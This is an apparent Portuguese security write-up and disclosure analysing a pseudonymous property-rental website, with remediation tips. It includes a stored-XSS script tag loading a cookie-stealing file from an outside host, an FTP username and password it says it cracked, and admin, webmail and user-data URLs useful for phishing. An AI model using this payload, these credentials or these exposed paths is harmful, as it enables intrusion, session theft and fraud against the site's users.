Caríssimos leitores, este artigo, consiste num estudo ao sistema echo-request.pt (nome fictício), um sistema de aluguer de imóveis. A sua administração e o webmaster, foram contactados antecipadamente à sua publicação, por forma, a permitir a correção das vulnerabilidades e bugs mencionados a seguir.
Antes de mais, é necessário reforçar a ideia que, o presente artigo apenas visa expor as vulnerabilidades do sistema, e não incentivar à prática de maus hábitos. Este é um caso real de um sistema legítimo, mas por alguns motivos é mantido o anonimato.

 

Introdução

Um dos maiores conceitos por de trás de cada sistema é o de vulnerabilidade. É sabido que, nos dias que correm as empresas focam-se em demasia na produção em massa de software, e a sua segurança é colocada num patamar bastante inferior. Não admira então as toneladas de notícias sobre este tema.
O sistema que foi análisado como já referido é o echo-request.pt. Em seguida, são apresentados os tópicos em análise.

1. Inserção ilimitada de conteúdo.
2. Permiabilidade a XSS (Cross-site Scripting).
3. Roubo de Sessões PHP (Hypertext Preprocessor).
4. Acesso não protegido ao Back-office.
5. Acesso FTP (File Transfer Protocol), força da password.
6. Acesso ao serviço de e-mail.
7. Permiabilidade a Phishing.
8. Sessões PHP e Javascript.

As proximas secções visam documentar os tópicos mencionados acima.

O Sistema echo-request.pt

 

O sistema echo-request.pt, é um sistema de aluguer de imóveis. Como é apresentado na figura abaixo, possuí um layout bastante atrativo e de fácil uso, para qualquer assíduo utilizador.

 

 

A navegabilidade do sistema (web-page), foca-se muito na tecnologia do google maps, visto que, o objetivo é a pesquisa de imóveis e suas coordenadas no mapa. Este sistema, conta já com algumas centenas de utilizadores.

1. Inserção ilimitada de conteúdo

Um dos tópicos para discussão e em análise é o formulário de inserção de um novo imóvel. A hiperligação para este módulo encontra-se no canto superior direito da página, como ilustra a seguinte imagem.
A hiperligação “Inserir Anúncio” , diz respeito a uma página php (pag_InserirImovel.php), que é incluída na página principal do sistema (index.php). De seguida, é possível ver a página já formatada através de CSS (Cascading Style Sheets).

 

 

Nesta página, e nomeadamente no separador central à direita, é possivel inserir um número ilimitado de fotos do imóvel. Assim sendo, um comum utilizador poderá disfrutar desta vulnerabilidade de maneira a saturar e ocupar demasiado espaço no servidor de dados. Um aspeto bastante importante e crítico, é a falta de verificação contra spam e bots (crawlers). Para mais detalhe sobre o assunto, poderá ser consultado o seguinte link.
Sem a devida proteção é possível construir scripts e.g., python, não só para inserção ilimitada das fotos dos imóveis, mas como também, para a criação ilimitada e descontrolada de registos. Isto é extremamente grave, devido à permiabilidade a XSS do formulário, que posteriormente, pode causar danos como o furto de sessões e cookies.
Antecipadamente, esta vulnerabilidade pode ser evitada através de verificaçoes anti-bots, por exemplo, o uso de CAPTCHA seria uma ótima solução.

2. Permiabilidade a XSS

Uma das maiores vulnerabilidades em sistemas web-based é sem dúvida o XSS. O sistema em análise não é exceção, o campo “descrição” no formulário de inserção é permiável, isto é, não é feita qualquer verificação aos registos introduzidos pelo utilizador. A seguinte imagem, ilustra a injeção de código no formulário.
O código XSS injetado é do tipo persistente, quer dizer que, este é armazenado na base de dados do sistema. Acaba de se confirmar, sendo esta uma vulnerabilidade gravíssima, pois permite a injeção de código malicioso na base de dados de suporte. Por outro lado, este é visto e carregado no browser dos utilizadores e administradores do próprio sistema, com a intenção de roubar as suas contas pessoais.
Uma forma elegante de projetar esse esquema é a partir de um ficheiro javascript (.js). Em seguida, é apresentado um exemplo de como é injetado um desses ficheiros.

 

  1. <script src=“http://sitedotoze.com/vulneravel.js”></script>
A inclusão do ficheiro permite também a injeção de código do tipo dinâmico, isto é, apontando para um diretório na Internet. Portanto, cabe ao detentor do ficheiro malicioso modificá-lo, quando e bem entender.
3. Roubo de Sessão PHP
O roubo de sessão via XSS é um dos ataques que permite subverter os privilégios de forma temporária no sistema. Isto é conseguido através da inclusão de ficheiros javascript, tal como mencionado anteriormente. A seguinte figura simula esse processo.
Através da simples execução de código no browser do utilizador, é possivel obter a sua sessão. Caso este utilizador seja um administrador, então o acesso ao painel de administração é uma realidade. A seguinte imagem é bastante ilustrativa.

 

É possível aceder à área restrita de administração do sistema através de Cross-site Cookie Stealing Persistence. Desta forma, enquanto o utilizador legítmo permanecer em sessão, existe a possibilidade de navegar no sistema com os seus privilégios. Por vezes, a falta de cuidados de programação nesta secção administrativa, permite a criação de utilizadores com o nível máximo de privilégios. Numa próxima visita ao sistema, apenas é necessário efetuar a autenticação com esse novo utilizador.
Toda a vez que um utilizador visite uma página do sistema infetada com o código malicioso, a sua sessão é enviada para o servidor que suporta o código malicioso. Mais, o projetista pode elaborar um script para ser informado via e-mail de uma nova entrada na sua base de dados maliciosa. A seguinte imagem ilustra esse caso.

 

 

Por consequência, é possível obter o IP do utilizador. E se ele se liga ao sistema através de um local inseguro? É possível ao projetista do código malicioso explorar essa vulnerabilidade, nesse caso, está a fugir um pouco ao foco geral, o sistema echo-request.pt.

3.1. Solução e Prevenção contra XSS

A solução contra este tipo de injeção de código, é a verificação de todas as entradas de dados oriundas do utilizador. Portanto, todos os formulários e caixas de texto devem ser estritamente verificadas, através de funções client-side e server-side. Uma das melhores abordagens para o fazer, é o uso de expressões regulares (Regular expression, do inglês).
Outro aspeto, é o tamanho do campo, o programador deve definir da forma hardcoded o tamanho máximo do campo. Desta maneira, dificulta a injeção de scripts maliciosos. Este aspeto deve ser também refletido na base de dados.

4. Acesso não protegido ao Back-office

Na maior parte das vezes, os back-offices dos sistemas não são desenhados e projetados com o devido cuidado. Uma das suas razões, é devido aos tipos de utilizador que visam usufruir do serviço. Estes utilizadores, são na sua maioria, os webmasters e administradores, um pequeno número contabilizando o número de utilizadores registados. Normalmente, este tipo de serviços encontram-se em diretórios como site/admin, no caso do echo-request, ele está presente no diretório: http://echo-request.pt/im . A seguinte imagem ilustra a página de acesso ao painel administrativo do sistema.

 

Duas possíveis soluções para evitar, por exemplo, ataques dicionário a estes formulários de login, são as mencionadas a seguir.
– Fazer uso de uma VPN (Virtual Private Network), para aceder a esta página. Estas configurações, poderão ser definidas no server-side.
– Usar Basic Authentication no domínio. Esta configuração pode ser definida no server-side.
A seguinte imagem ilustra a mensagem apresentada ao utilizador, quando o ponto dois, está configurado no sistema.

 

 

Desta maneira, existe a possibilidade de restringir o acesso a pessoas não autorizadas ao domínio, e também evitar ataques dicionário e brute-force.
5. Acesso FTP, força da password
O protócolo FTP (File Transfer Protocol) é um dos mais usados na transferência de dados em massa na Internet. Por norma, não existe a necessidade do porto 21 (FTP) estar à escuta no servidor, somente se necessário. Segundo alguma análise, é possível observar que o sistema echo-request.pt possuí a porta 21 do servidor com o estado disponível. Isto que dizer que, há a possibilidade de aceder ao servidor via FTP, restando apenas introduzir os dados de acesso (username, password) para ter total liberdade no download e upload de ficheiros.
Através de um estudo de laboratório, é possível descobrir os dados de acesso ao servidor.

username: echo-request
password: echo-request123

É de extrema importância a força da password de acesso a estas áreas críticas do sistema. Os danos causados por facilitismos são incalculáveis! Uma das opções a ser adoptadas é o uso de geradores de passwords, por forma, a evitar o uso de passwords demasiado descomplicadas. Este, é um assunto excessivamente extenso para ser discutido no artigo. O ser humano definiu a password “echo-request123“, mas terá de pensar obrigatóriamente que existem outros seres humanos a pensar como ele. A imagem em seguida mostra como é fácil explorar o serviço via linha-de-comando no sistema operativo Windows.

 

 

Ainda dentro do tema da segurança, para aceder via FTP ao sistema, existe a necessidade de enviar um ping ao sistema (uma alternativa), para obter o seu IP real. Desta maneira, e digitando no browser o IP, é possível constatar uma curiosidade. A seguinte imagem é bastante representativa.
Parece ter havido uma falha na configuração server-side, porém, o endereço IP do sistema redireciona para o sub-domínio http://zpanel.echo-request.pt.
Através do uso do traceroute é também possível descurtinar alguns pontos importantes, nomeadamente a não existência de firewall no servidor. Esta descoberta poderá ter consequências drásticas. Analisando a força das passwords usadas no sistema, caso, via ataque brute-force ou dicionário, a password seja descoberta, o sistema poderá ser derrubado muito fácilmente, eliminado todos e quaisquer ficheiros do servidor, assim como cópias de segurança da base de dados. A integridade e autenticidade dos registos, como contas de utilizador (passwords dos utilizadores), são também violadas e postas em causa.

 

Desta forma, e dependendo do tipo de processo de como a password é armazenada na base de dados (SHA512), conhecendo o processo (obtendo-o dos ficheiros do servidor) e verificando se aplicável o salt, existe a possibilidade de crackar um grande e novo número de novas chaves de HASH.
6. Acesso ao serviço de e-mail
Como já mencionado, os formulários de login de qualquer sistema, se não houver proteção, são expostos sucessivamente a ataques. Derivado de alguma pesquisa, é possível verificar a existência do seguinte link no sistema: http://zpanel.echo-request.pt/etc/apps/webmail. Este diz respeito ao cliente de e-mail usado para aceder ao serviço. Como sabido, o nível de proteção das passwords do sistema não é tanto ou mais ou menos suficiente.
Posto isto, e segundo alguma pesquisa, é possível encontrar o e-mail usado no sistema, [email protected].
Em seguida é possível visualizar uma imagem que apresenta o acesso direto ao cliente de e-mail.

 

 

Caso o acesso ao serviço de e-mail seja uma realidade, uma possível praga apelidada de Phishing pode estar à vista.
7. Permiabilidade a Phishing

 

Sabendo que este tipo de esquemas é muito usual para furto de informações pessoais na Internet, o seu uso poderia ser uma realidade através do acesso ao cliente de e-mail, como já mencionado anteriormente.
Mais uma vez, e como fruto de uma intensa pesquisa, no sistema estão disponíveis 3 ficheiros que expõem informações dos seus utilizadores, nomeadamente números de telemóvel e nome. Estes ficheiros são os seguintes.

-http://echo-request.pt/bulk/bulkSMS96.php
-http://echo-request.pt/bulk/bulkSMS91.php
-http://echo-request.pt/bulk/bulkSMS93.php

A partir daqui, apenas é necessário dar asas à imaginação, e desenhar e planear um esquema fraudulento. Convém dar real atenção que tudo isto seria possível caso a password do serviço de e-mail fosse descoberta. Voltando a referir, o nível de proteção destas deve ser altamente exagerado e fora da imaginação de um ser humano, pois normalmente o ser humano tende sempre em facilitar na sua construção.

8. Sessões PHP e Javascript

Pelo bem ou pelo mal, muitos sistemas atualmente fazem uso de chamadas a serviços via javascript (web-services / web-requests).
É possível verificar que o echo-request.pt não é exceção. Um dos exemplos dessas chamadas é a página editarImovel.php, presente na área reservada à gestão de imóveis do utilizador. A imagem a seguir apresenta essa área.
Olhando para a imagem é possível verificar a existência de um botão editar. Este botão, faz um request ao sistema, mas o código não está direto no código-fonte da página. Este encontra-se num ficheiro de nome libAnuncios.js, como indica a seguinte inclusão.
  1. <script src=“libs/libBack.js” type=“text/javascript”></script>
Existe a possibiliade de observar a sua inclusão no código-fonte da página. Este ficheiro possuí o código referente à chamada da página de edição. Em seguida são destacadas as linhas mais importantes.
  1. codImovel=$(this).attr(“imovel”);
  2. id=“#”+codImovel;
  3. !1===$(id).is(“:visible”)&&($(“.div-editar-imovel”).hide().empty(),
  4. $(id).load(
  5. “editarImovel.php?codImovel=”+codImovel
Verificando a última linha do trecho exibido, é possível concluir que ocorre uma troca de argumentos via GET com a página editarImove.php. É passadada uma chave do imóvel, aparanta ser uma cadeia de carateres (token) gerada aquando a criação do imóvel.
Em teoria, passando uma chave válida de um imóvel, mesmo sendo de um utilizador que não o autenticado no sistema, a página deverá retornar os dados referentes ao imóvel. Para evitar este cenário, no server-side deverá sempre ser verificada a sessão ativa, e se ela é também legítima.
Por forma a analisar esta vulnerabilidade, poderá ser feito o download da devida página e suas dependências para o localhost. A partir daí, torna-se fácil de projetar o script. A seguinte imagem ilustra a tentativa de alterar registos não autorizados no sistema.
É possível observar que a página  editarImovel.php retorna de forma eficiente os dados referente a qualquer imóvel do sistema. Posteriormente, será possivel a edição do registo, mas quando é enviado o pedido de submissão dos novos registos (modificados), o sistema recusa essa modificação, isto é, é feita a verificação de sessão no server-side. Portanto, desta maneira, é evitada a modificação do registo relativo ao imóvel. Tal só poderia acontecer, caso uma sessão fraca fosse criada no servidor.

 

Algumas dicas para manter um nível de segurança razoável em qualquer sistema, podem ser as apresentadas em seguida.
– Controlar o número de pedidos de um cliente IP a uma página. Desta forma é possivel evitar ataques DoS, DDoS e bruceforce.
– Controlar o número de pedidos de um cliente IP à página de administração do servidor Zpanel.
Desta forma, qualquer administrador se pode precaver de problemas como ataques dicionário e bruce-force às páginas de administração e login de qualquer sistema.
Salientar que, o objetivo deste artigo é apenas expor as vulnerabilidades do sistema, enriquecendo os conhecimentos dos leitores. A administração do sistema foi avisada antecipadamente da publicação do presente artigo, de modo, a permitir a correção das vulnerabilidades nele discutidas. Por outros motivos foi sempre mantido o anonimato, por forma a proteger o sistema em causa.

—-
Este artigo está também disponível na versão paper em pdf. O pdf foi gerado via LaTeX.
Download aqui!

Boa continuação.